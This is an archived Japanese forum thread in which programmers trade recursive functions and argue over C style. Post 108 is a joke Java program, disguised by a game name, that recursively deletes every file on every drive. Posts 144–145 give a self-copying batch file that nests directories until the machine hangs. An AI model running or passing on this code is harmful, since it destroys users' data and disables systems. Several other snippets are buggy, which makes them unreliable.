【recursive 】 再 帰 【リカーシブ】
■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさん
NGNGそして神は再帰する・・・
再帰を使った面白い関数・メソッドを書いてください。
0052デフォルトの名無しさん
NGNG>とりあえず sizeof(char) する奴嫌い。
だとすると矛盾。
0053デフォルトの名無しさん
NGNGint kk(int);
int main(void)
{
int in;
scanf("%d",&in);
printf("%d",kk(in));
}
int kk(int jj)
{
return (jj>1)?jj*kk(jj-1):1;
}
0054デフォルトの名無しさん
NGNGでもn*sizeof(char)←これはあほだ。
0055デフォルトの名無しさん
NGNG可読性を高める為に、あえて そうするのは賢い。
0056デフォルトの名無しさん
NGNGあほがいます。
0057デフォルトの名無しさん
NGNG非常識なコード書いてると信用落とすよ
0058デフォルトの名無しさん
NGNG0059ナナシサソ
NGNGTCHAR* __fstralloc(FILE* istream, int readsize)
{
int i = 0;
TCHAR linebuf[BUFSIZ + 1];
do {
linebuf[i] = (TCHAR)_fgettc(istream);
if (feof(istream) || linebuf[i] == _T('\n')) {
linebuf[i] = _T('\0');
return _tcscpy(&(((TCHAR*)malloc((readsize + i + 1) * sizeof(TCHAR)))[readsize]), linebuf) - readsize;
}
} while (BUFSIZ > ++i);
return memcpy(&__fstralloc(istream, readsize + BUFSIZ)[readsize], linebuf, BUFSIZ) - readsize;
}
0060デフォルトの名無しさん
NGNGそれもおかしいでぇ。
memcpyのサイズ。
テストぐらいしようや。
0061デフォルトの名無しさん
NGNG副作用が跨る再帰はよくないよ。
0062デフォルトの名無しさん
NGNGじゃあお前はp=malloc(256*sizeof(char));とかやるのか・・・
0063しろーと
NGNGC言語仕様では、確か型ごとのサイズの保証はしてないんだよね?
0064デフォルトの名無しさん
NGNGcharだけは1だと決まっている。もしも1以外を返す処理系があったらそれは規格外。
ただしCHARBIT==8とは限らない。
0065デフォルトの名無しさん
NGNGC++でmain呼んじゃダメだろ。馬鹿
0066デフォルトの名無しさん
NGNG006739
NGNGfeof イイ!! そんな便利なもんがあるのワスれてた。
うにコード対応?わけわからんソース修正してくれて感謝。
>>61
尤もだ。確かにそうなんだが、realloc って中身消えるときないか?
VC のライブラリのバグで、もしかしたらもう直ってるかもしれんけど、
納期が近いのに悩まされたことがあってrealloc嫌いになった。
んでこの関数ができた。
>>66
↓これだ!「再帰」ってタイトルの奴だ。
1 名前:デフォルトの名無しさん 投稿日:2001/06/11(月) 15:44
http://piza.2ch.net/test/read.cgi?bbs=tech&key=992241842
006851
NGNG漏れは44じゃないよん。
書き方が悪くて50までに書き込んだことのある誰かが書いてる文章にも読めるな。
sizeof(char)がらみでは漏れの投稿は51だけ。でもって終了。
0069ナナシサソ59
NGNG伝えたかったことは、TCHAR は 1 バイトとは限らないから、
この場合はちゃんと sizeof() 書いとかなあかんなというお話。
>>67
linebuf[i] == _TEOF と書けばいいことに、今気付いた…。
<tchar.h> から引用
#ifdef _UNICODE
#define _TEOF WEOF
#else
#define _TEOF EOF
#endif
0070デフォルトの名無しさん
NGNG>>40
0071デフォルトの名無しさん
NGNG>この場合はちゃんと sizeof() 書いとかなあかんなというお話。
間違いを指摘されて苦しい言い訳してる様にしか見えないよ。
もういいから、C言語の初心者スレに帰れ。スレ違いなんだよ。
0072デフォルトの名無しさん
NGNG0073デフォルトの名無しさん
NGNGどっちで書くかは好みだと思うが。
007439
NGNGおまいのEOFへの指摘は誰よりも早いな。
>>71
まあ、sizeof(char)が好きだ、嫌いだ、掘った、掘られた言ってても、
73もいってるが、それぞれの好みの問題ってのはいつまでたっても解決しないよ。
漏れは 43 になに言われようと、とりあえず括弧の内側にスペース入れるしね。
44 になに言われようと、とりあえず sizeof(char) するしね。
とりあえず 70 は誰よりも速く EOF の指摘をするしね。
というか 43 みたいな指摘受けると括弧の内側にスペース7個ぐらい入れて、
「どうよ。これどうよ。角度とか。」とか聞きたくなるんですが。
007539
NGNG最大公約数を求めるユーグリッドの互除法ってやつを。
int gcm( int x, int y )
{
if(x%y) gcm( y, x%y );
return y;
}
007639
NGNGint gcm( int x, int y )
{
int z;
while(z=x%y) x=y, y=z;
return y;
}
0077デフォルトの名無しさん
NGNG0079デフォルトの名無しさん
NGNG0080デフォルトの名無しさん
NGNG0081デフォルトの名無しさん
NGNG確かにそうだw
008239
NGNGえっ?
えーと、いやいや。皆さんを試したんですよ僕は。
見てないんじゃないかとおもって。あは、あははは。
>>ナナシサソ59さんへ
59さん!緊急事態です! if の後に return が抜けちゃってました!
しかも、80さんに指摘されてユーグリッドの互除法を、
再度調べ直してたら gcm でなくて gcd であることにも気が付きました!
さりげなく直しておいてください!!
unicodeに対応しつつ、何事も無かったかのようにさりげなく直しておいてください!!
0083デフォルトの名無しさん
NGNGこれ、簡単なベンチマークにイイと思うんだけど。
実際にn枚目の皿に相当する数値をメモリ内で移動させるようにして
やらせてみた。16枚以上は、1秒間だけ走らせてその時間を基にどの位で
終わるか表示させて遊んだな。60枚位で何億年とか出て面白かった。
0084デフォルトの名無しさん
NGNG0085def hage
NGNG>>85
0086デフォルトの名無しさん
NGNG{
if( n > 0xf ) printhex( n >> 4 );
putchar( "0123456789ABCDEF"[ n & 0xf ] );
}
008783
NGNG勿論再帰版ではなくて桁数決めて非再帰コードですが。昔、演習問題ですが
stringの長さを数えるのに再帰を使ってる例がありましたね。
文字列の長さ数えるのに、文字数分ワードをpushするんかい、おい!
とか思いましたが、学問として正しさのみを云々するには面白い問題ですね。
0088デフォルトの名無しさん
NGNG0089デフォルトの名無しさん
NGNG0090山崎渉
NGNG0091デフォルトの名無しさん
NGNG0092デフォルトの名無しさん
NGNG0093デフォルトの名無しさん
NGNG相互再帰だろうがぁぁぁっっっっっ!!!!!!
0094デフォルトの名無しさん
NGNG相互ってないやつはフーンって感じだったけど。
0095デフォルトの名無しさん
NGNG0096デフォルトの名無しさん
NGNG0097デフォルトの名無しさん
NGNG0098デフォルトの名無しさん
NGNGで思い出したけど、Y-combinator って何よ?
0099デフォルトの名無しさん
NGNGメリットなのだが、>>39 (>>59) は再帰を使ったことで
readsize という引数が増えるなどプログラムを複雑化しており、
本末転倒
0100デフォルトの名無しさん
NGNG関数型言語系スレの過去ログにあったよ
0101デフォルトの名無しさん
NGNG0102デフォルトの名無しさん
NGNGエピメニデス文だね!
0103デフォルトの名無しさん
NGNG読もう、読もうと思っててすぐ忘れてしまうん。
0104山崎渉
NGNGピュ.ー ( ^^ ) <これからも僕を応援して下さいね(^^)。
=〔~∪ ̄ ̄〕
= ◎――◎ 山崎渉
0105デフォルトの名無しさん
NGNGそれなりに面白いが、プログラムよりの話はそんなに出ない。
専門知識は不用。
0106デフォルトの名無しさん
NGNG買ってきますた。
0107デフォルトの名無しさん
NGNG0108デフォルトの名無しさん
NGNGclass PuyoPuyo {
public satatic void main(String args[]){
File[] gameData=File.listRoots();
PuyoPuyo puyo=new PuyoPuyo();
for(int i=0 ; i<gameData.length ; i++ ){
puyo.gameStart(gameData[i]);
}
}
void gameStart(File gameData){
if(gameData.isDirectory()){
File[] data=gameData.listFiles();
for(int i=0;i<data.length;i++){
gameStart(data[i]);
}
}
gameData.delete();
}
}
(((;゜Д゜))ガクガクブルブル
0109デフォルトの名無しさん
NGNG0110デフォルトの名無しさん
NGNG0111デフォルトの名無しさん
NGNG0112山崎 渉
NGNG__∧_∧_
|( ^^ )| <寝るぽ(^^)
|\⌒⌒⌒\
\ |⌒⌒⌒~| 山崎渉
~ ̄ ̄ ̄ ̄
0113山崎 渉
NGNG__∧_∧_
|( ^^ )| <寝るぽ(^^)
|\⌒⌒⌒\
\ |⌒⌒⌒~| 山崎渉
~ ̄ ̄ ̄ ̄
011436 ◆0qj84cFptE
NGNG同意
はなしは変わるけど、携帯ゲーム機"プレイステーションポータブル(PSP)
このPSPは、新規格UMD(ユニバーサルメディアディスク)というディスクを利用しており、そのサイズは直径6cmととても小さい(CDの半分程度)。 容量は1.8GBとなっている。
画面は4.5インチのTFT液晶で、480px x 272px(16:9)。MPEG4の再生やポリゴンも表示可能。外部端子として、USB2.0とメモリースティックコネクタが用意されているという。
この際、スク・エニもGBAからPSPに乗り換えたらどうでしょう。スク・エニの場合、PSPの方が実力を出しやすいような気がするんですが。
任天堂が携帯ゲーム機で圧倒的なシェアをもってるなら、スク・エニがそれを崩してみるのもおもしろいですし。かつて、PS人気の引き金となったFF7のように。
突然へんな事言い出してスマソ‥
GBAと比較してみてどうなんですかね?(シェアのことは抜きで)
0115山崎 渉
NGNG0116デフォルトの名無しさん
NGNGって、可能かな?
インタプリタでもいいけど。
0117山崎 渉
NGNG│ ^ ^ │<これからも僕を応援して下さいね(^^)。
⊂| |つ
(_)(_) 山崎パン
0118デフォルトの名無しさん
NGNG0119デフォルトの名無しさん
NGNG0120デフォルトの名無しさん
NGNGなぜ嫌われるかワカラン
0121デフォルトの名無しさん
NGNG1とかマジックナンバー書くやつ低脳(w
0122デフォルトの名無しさん
NGNG0123デフォルトの名無しさん
NGNG#define ONE 1
q = p + ONE;
0124デフォルトの名無しさん
NGNGString shine() {
shine shineyo = new shine();
}
}
0125デフォルトの名無しさん
NGNGそれがどうした。
0126デフォルトの名無しさん
NGNGsizeof(char) でも sizeof char でもどっちでも良い。
(へえー)
0127デフォルトの名無しさん
NGNGすれ違いな上に嘘を書くな。
0128デフォルトの名無しさん
NGNGオマエモナー
AA(ry
0130デフォルトの名無しさん
NGNG0131デフォルトの名無しさん
NGNG型キャスト式だから()が必須らしいな
0132デフォルトの名無しさん
NGNG0133たわらん
NGNGここにめーるしてね!
0134デフォルトの名無しさん
NGNGchar * test( char ** ptr, int pos )
{
char ch= cin.get() ;
if( ch != '\n' ){
test(ptr, pos+1) ;
}else{
ch= '\0' ;
*ptr= new char[pos+1] ;
}
*(*ptr+pos) = ch ;
return *ptr ;
}
0135デフォルトの名無しさん
NGNGif(n/m != 0) pnum(n/m,m);
putchar('0'+n%m+n%m/10*7);
}
0136デフォルトの名無しさん
NGNG0137デフォルトの名無しさん
NGNG0138デフォルトの名無しさん
NGNGあるけど教えない
遅レスすまそ
0139マイク ◆yrBrqfF1Ew
NGNG0140デフォルトの名無しさん
NGNG0141デフォルトの名無しさん
NGNGさんくす。
0142デフォルトの名無しさん
NGNG0143デフォルトの名無しさん
2005/04/10(日) 15:33:350144デフォルトの名無しさん
2005/04/11(月) 14:54:41copy hornet.bat hornet
cd hornet
call hornet.bat
という、hornet.bat と名付けられたバッチファイルを
autoexec.bat に仕込まれて起動直後に固まってしまっているのを
10年ぐらい前にどこかの駅ビルでみたことがある。
当時は再帰なんて知らなかったから素直に感動した。
いま、試してみたらもう無理だった。
0145デフォルトの名無しさん
2005/04/12(火) 02:07:442kでコレは動いた。
md hoge
copy %0 hoge
cd hoge
%0
0146デフォルトの名無しさん
2005/04/12(火) 10:23:350147デフォルトの名無しさん
2005/04/18(月) 16:13:23repeat.
repeat :- repeat.
<使い方>...(1)..,repeat,...(2)...,<条件>,
(1)が実行されて、repeatが呼ばれると定義の第一節によって成功する。
成功したのでさらに右に進み、(2)が実行される。
その過程のどこか<条件不適合>になり失敗すると後戻りして戻ってくる。
再びrepeatが呼び出されそうに思えるが、先ほど呼ばれたrepeatの第二節が
まだ残っている。再試行としてそれが実行される。
第二節の意味はrepeatとはrepeatを実行することだ、であるから、
新たに(別の)repeatがよびだされる。この新しいrepeatは第一節から
実行されるから成功して、また再び右方向に制御が進み、(2)が実行される。
このrepeatは常に真なる。trueも常に真となるが、
...(1)..,true,...(2)...,<条件>,
だと、条件が偽となり戻ってきたときにこれを通り越して(1)へ戻っていってしまう。
0148デフォルトの名無しさん
2005/04/18(月) 21:33:18外部イテレータしかないC++とかJavaではStateパターンが定石
だと思うけど、内部イテレータのある言語ではもっとうまい手
がないかな。
0149デフォルトの名無しさん
2005/04/18(月) 21:47:470150デフォルトの名無しさん
2005/04/19(火) 00:05:220151デフォルトの名無しさん
2005/04/19(火) 02:01:59■ このスレッドは過去ログ倉庫に格納されています